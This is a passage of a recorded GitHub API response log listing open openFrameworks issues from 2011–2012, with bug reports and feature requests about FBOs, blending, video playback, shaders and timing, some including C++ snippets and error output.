ofFbo::setup() before you can use an FBO\");\r\n\t}\r\n\treturn textures[attachmentPoint];","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/507","comments":0,"milestone":null,"number":507,"html_url":"https://github.com/openframeworks/openFrameworks/issues/507","assignee":null,"title":"ofFbo::draw() causes EXC_BAD_ACCESS when setup() isn't called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-03-21T01:01:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":689769,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-20T17:35:05Z","body":"i know the reason for this is because the mappings are OS and mouse dependent, and that it's GLUT slowing us down here, but i think we could at least add a guess like OF_MOUSE_LEFT = 0, OF_MOUSE_MIDDLE= 1, OF_MOUSE_RIGHT = 2, etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/503","comments":0,"milestone":null,"number":503,"html_url":"https://github.com/openframeworks/openFrameworks/issues/503","assignee":null,"title":"no OF_MOUSE_LEFT or OF_MOUSE_RIGHT","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-03-20T17:35:05Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":688955,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:48:41Z","body":"you need to use bUse3D flag but even then graphics aren't saved to pdf as they look on screen. \r\ntry the OF_ORIENTATION_90_LEFT or 90_RIGHT to reproduce. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":502,"html_url":"https://github.com/openframeworks/openFrameworks/issues/502","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"ofSetOrientation doesn't work for cairo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-03-18T09:17:36Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":684091,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-18T03:56:02Z","body":"it looks like ofGLRenderer::drawString is currently overriding whatever the current blend mode is:\n\n\tglEnable(GL_BLEND);\n\tglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n\nand then setting it back later.\n\ni'm guessing this is so the empty/alpha part of the bitmap font is drawn.\n\ninstead of using glBlendFunc i would suggest glAlphaFunc... but it looks like as of OpenGL ES 2.0 glAlphaFunc doesn't exist anymore :(\n\nnot sure what to do, but it's really weird to have ofSetColor(255) work, but not ofSetColor(255, 254). e.g.:\n\n\tofBackground(128);\n\tofEnableAlphaBlending();\n\tofSetColor(255, 254);\n\tofDrawBitmapString(\"255, 254\", 10, 20);\n\tofSetColor(255, 255);\n\tofDrawBitmapString(\"255, 255\", 10, 40);\n\tofDisableAlphaBlending();","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/501","comments":0,"milestone":null,"number":501,"html_url":"https://github.com/openframeworks/openFrameworks/issues/501","assignee":null,"title":"ofDrawBitmapString / ofGLRenderer::drawString doesn't work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-03-18T03:54:34Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":683732,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-03T10:41:35Z","body":"right now ofImage::getPixelsRef() is always non-const, as well as ofImage::getPixels()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500","comments":4,"milestone":null,"number":500,"html_url":"https://github.com/openframeworks/openFrameworks/issues/500","assignee":null,"title":"missing const version of getPixelsRef()","labels":[],"closed_at":null,"created_at":"2011-03-14T19:14:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":672608,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=11 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4933'), ('content-length', '40272'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"b87c61471553096d60e5ff8b292ff704"'), ('date', 'Tue, 29 May 2012 19:27:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"osx movieplayer problem on reloading","html_url":"https://github.com/openframeworks/openFrameworks/issues/495","comments":0,"assignee":null,"updated_at":"2011-03-09T16:17:56Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=5729&view=unread#unread","number":495,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":659446,"closed_at":null,"created_at":"2011-03-09T16:17:56Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"GLUT 007 hack","html_url":"https://github.com/openframeworks/openFrameworks/issues/491","comments":0,"assignee":null,"updated_at":"2011-03-04T14:44:53Z","body":"it seems that some commented defines are still being preprocessed and making gdb behave weird:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=4&t=5602&view=unread#unread","number":491,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":646846,"closed_at":null,"created_at":"2011-03-04T14:44:53Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"close corners on basic shapes?","html_url":"https://github.com/openframeworks/openFrameworks/issues/490","comments":0,"assignee":null,"updated_at":"2011-03-03T16:35:17Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5678&view=unread#unread\r\n\r\nperhaps use style.linewith? won't work if you use glLineWidth though","number":490,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":643861,"closed_at":null,"created_at":"2011-03-03T16:35:17Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"893ec14dc008e3774afe5841115920d6","url":"https://api.github.com/users/jonbro","login":"jonbro","id":1597,"avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofOrientation incompatible with iOS addon","html_url":"https://github.com/openframeworks/openFrameworks/issues/486","comments":0,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-10T04:50:03Z","body":"the existing iOS orientation methods are not compatible with the virtual functions that they inherit from. The new virtuals use a ofOrientation enum, and the old functions use ints.\r\n\r\nThis issue was introduced in https://github.com/openframeworks/openFrameworks/commit/38011d54","number":486,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/486","labels":[{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":635112,"closed_at":null,"created_at":"2011-02-28T18:14:04Z"},{"milestone":{"state":"open","description":"","title":"0073 Release","due_on":"2012-07-30T07:00:00Z","closed_issues":0,"open_issues":5,"number":6,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":62090,"created_at":"2011-12-03T15:37:49Z"},"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"grabFrame/idleFrame deprecation","html_url":"https://github.com/openframeworks/openFrameworks/issues/484","comments":12,"assignee":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-24T21:04:32Z","body":"it would be nice to start deprecating grabFrame() and idleFrame() (but maybe wait a couple years to actually remove them) , and change the examples to only use update() and isFrameNew().","number":484,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/484","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":613171,"closed_at":null,"created_at":"2011-02-20T17:56:02Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"ace632f74988653fdbde09225134bfdd","url":"https://api.github.com/users/nemik","login":"nemik","id":62301,"avatar_url":"https://secure.gravatar.com/avatar/ace632f74988653fdbde09225134bfdd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVideoPlayer bug when loading subsequent movies after the first one","html_url":"https://github.com/openframeworks/openFrameworks/issues/475","comments":0,"assignee":null,"updated_at":"2011-02-14T17:11:08Z","body":"Within 0062, inside libs/openFrameworks/video/ofVideoPlayer.cpp on line 314 there is a check for height and width not being 0, then \"bDoWeAlreadyHaveAGworld = true;\" is set. However, this prevents other movies after the first from being loaded into that instance of ofVideoPlayer. \r\nI have posted about this in the forum with a fix (to just remove that check) here: http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222\r\n\r\nInside the latest code, it is within ofQuickTimePlayer.cpp https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/video/ofQuickTimePlayer.cpp#L281.","number":475,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/475","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":598097,"closed_at":null,"created_at":"2011-02-14T17:11:08Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"object init/load state is not consistently testable","html_url":"https://github.com/openframeworks/openFrameworks/issues/463","comments":0,"assignee":null,"updated_at":"2011-02-07T19:58:23Z","body":"I like to be able to know when an object has successfully initialized or loaded and OF provides for this, for the most part, but in an inconsistent manner ie\r\n\r\nofVideoGrabber::initGrabber() returns a bool, but ofVideoGrabber:bInitialized is protected and therefore not accessible\r\n\r\nwhile\r\n\r\nofTrueTypeFont::bLoadedOk is public, but ofTrueTypeFont::loadFont() returns void\r\n\r\nand\r\n\r\nofImage::loadImage() returns a bool and ofLoadImage::bAllocated() returns a bool, yet ofImage::setFromPixels() returns void\r\n\r\nI propose all loadable/initable objects have loading functions which always return a bool and a testable function (isInited(), isLoaded(), etc) for use after loading. Ideally, the testable functions would always be named the same ie myImage.isLoaded(), myVideoGrabber().isLoaded(), myFont.isLoaded() but of course a general name may not apply to all situations (myVideoGrabber.isInited() probably makes more sense).\r\n\r\nHell, all the load functions could be overloaded ie ofImage::load(string filename), ofImage::load(ofPixels pixels), ofImage::load(unsigned char* pixels) across different objects, ofTrueTypeFont::load(string filename), ofVideoGrabber::load(int w, int h, int deviceID). This consistency looks nice to anal me. but might be confusing to newbies and of course would break old code (unless wrapped for legacy compatibility). It seems a little annoying that every objects seems to have it's own way of checking this and that ...","number":463,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":581395,"closed_at":null,"created_at":"2011-02-07T19:58:23Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"8022cb5f529975afbc64cc9312008d8c","url":"https://api.github.com/users/nardove","login":"nardove","id":277690,"avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenCV cvSobel() not working with latest master branch","html_url":"https://github.com/openframeworks/openFrameworks/issues/462","comments":0,"assignee":null,"updated_at":"2011-02-07T15:58:19Z","body":"Hi,\r\n\r\nI get the following error:\r\n// INIT OF ERROR\r\nOF_WARNING: ofBaseVideoPlayer::setPixelFormat not implemented\r\nOpenCV Error: Assertion failed (src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F))) in cvSobel, file /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp, line 347\r\nterminate called after throwing an instance of 'cv::Exception'\r\n what(): /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp:347: error: (-215) src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F)) in function cvSobel\r\n// END OF ERROR\r\n\r\nWhen I try to call the cvSobel method like this:\r\ncvSobel( grayImage.getCvImage(), grayImage.getCvImage(), 0, 1, 3 );\r\n\r\nThis works fine in 0062.\r\n\r\nCheers\r\n- rS","number":462,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":580717,"closed_at":null,"created_at":"2011-02-07T15:58:19Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"get number of input devices and device IDs from ofVideoGrabber","html_url":"https://github.com/openframeworks/openFrameworks/issues/461","comments":0,"assignee":null,"updated_at":"2011-02-07T19:38:51Z","body":"Currently, the ofVideoGrabber can list devices to stdout, but does not return the number of available devices. I propose that either listDevices() return an int or a new function be added, something like getNumDevices() or a getDeviceNums() which returns a vector of valid device ids. This could be related to Arturo's Issue where the devices could be retrieved as strings. I think it makes sense to have these as static functions so that you could open all available cameras into an Array of ofVideoGrabbers by retrieving the number of devices and their ids to open them.","number":461,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/461","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":580556,"closed_at":null,"created_at":"2011-02-07T15:24:21Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"saveImage() and other save operations should create missing directories","html_url":"https://github.com/openframeworks/openFrameworks/issues/460","comments":8,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-08T15:56:48Z","body":"i feel like it happens relatively often where i try to save an image (for example) and the parent directories don't exist, so it just fails without really saying anything.\r\n\r\nit would be nice if the dir(s) were just created automatically for you.","number":460,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":579790,"closed_at":null,"created_at":"2011-02-07T07:52:25Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofTexture::allocate not checking for unnecessary reallocation","html_url":"https://github.com/openframeworks/openFrameworks/issues/454","comments":0,"assignee":null,"updated_at":"2011-02-06T04:26:44Z","body":"ofPixels::allocate is smart in that it doesn't reallocate if you ask for the same size as what's already there. ofTexture should work the same way to avoid unnecessary overhead.","number":454,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":578069,"closed_at":null,"created_at":"2011-02-06T04:26:44Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofViewport doesn't work with ofSetOrientation","html_url":"https://github.com/openframeworks/openFrameworks/issues/449","comments":0,"assignee":null,"updated_at":"2011-02-02T00:03:09Z","body":"maybe a generic 'transformer' function would handle both this and mouse coordinates, and anything else? ofPoint ofGetAsbolutePosition(x,y)?","number":449,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":568540,"closed_at":null,"created_at":"2011-02-02T00:03:09Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"no way to get imageType of ofVideoGrabber","html_url":"https://github.com/openframeworks/openFrameworks/issues/446","comments":0,"assignee":null,"updated_at":"2011-01-31T19:26:41Z","body":"ofVideoGrabber has getOFPixels in the .h, but it isn't implemented in the .cpp.\r\n\r\nmaybe this is just a signal that ofPixels stuff needs to be resolved soon... :) i'd be glad to help with this if possible.","number":446,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":565122,"closed_at":null,"created_at":"2011-01-31T19:26:41Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofGetElapsedTimeMillis returns an int instead of unsigned long","html_url":"https://github.com/openframeworks/openFrameworks/issues/428","comments":0,"assignee":null,"updated_at":"2011-01-28T06:28:01Z","body":"the start time is stored internally as an unsigned long, but ofGetElapsedTimeMillis returns it as an int. ofGetElapsedTimef also does calculations using time as an int. this means time wraps around every (2^31 - 1) milliseconds in days = 24.8 days.\r\n\r\nas an unsigned long it would be (2^64 - 1) milliseconds in years = 584 million years :)","number":428,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/428","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"65a300","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize"}],"id":558215,"closed_at":null,"created_at":"2011-01-28T06:28:01Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","url":"https://api.github.com/users/NickHardeman","login":"NickHardeman","id":142694,"avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Check ofShader Texture Wrap Parameters","html_url":"https://github.com/openframeworks/openFrameworks/issues/424","comments":1,"assignee":null,"updated_at":"2011-12-02T21:05:54Z","body":"I thought checking for custom texture wrapping in ofShader might be useful. Not sure how to add a label to this :/\n\n#include ofGraphics.h\n\nvoid setUniformTexture(const char* name, ofBaseHasTexture& img, int textureLocation=-1);\nvoid setUniformTexture(const char* name, ofTexture& img, int textureLocation=-1);\n\nvoid ofShader::setUniformTexture(const char* name, ofTexture& tex, int textureLocation) {\n\tif(bLoaded) {\n\t\t\n\t\tGLfloat wrapS = -1;\n\t\tGLfloat wrapT = -1;\n\t\t\n\t\tif (ofGetUsingCustomTextureWrap()) {\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, &wrapS);\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, &wrapT);\n\t\t}\n\t\t\n\t\tofTextureData texData = tex.getTextureData();\n\t\tif (textureLocation < 0) textureLocation = texData.textureID;\n\t\tglActiveTexture(GL_TEXTURE0 + textureLocation);\n\t\tglEnable(texData.textureTarget);\n\t\t\n\t\tif(wrapS > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrapS);\n\t\tif(wrapT > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrapT);\n\t\t\n\t\tglBindTexture(texData.textureTarget, texData.textureID);\n\t\tglDisable(texData.textureTarget);\n\t\tsetUniform1i(name, texData.textureID);\n\t\tglActiveTexture(GL_TEXTURE0);\n\t}\n}","number":424,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":556923,"closed_at":null,"created_at":"2011-01-27T19:43:31Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"problem with reloading movies in 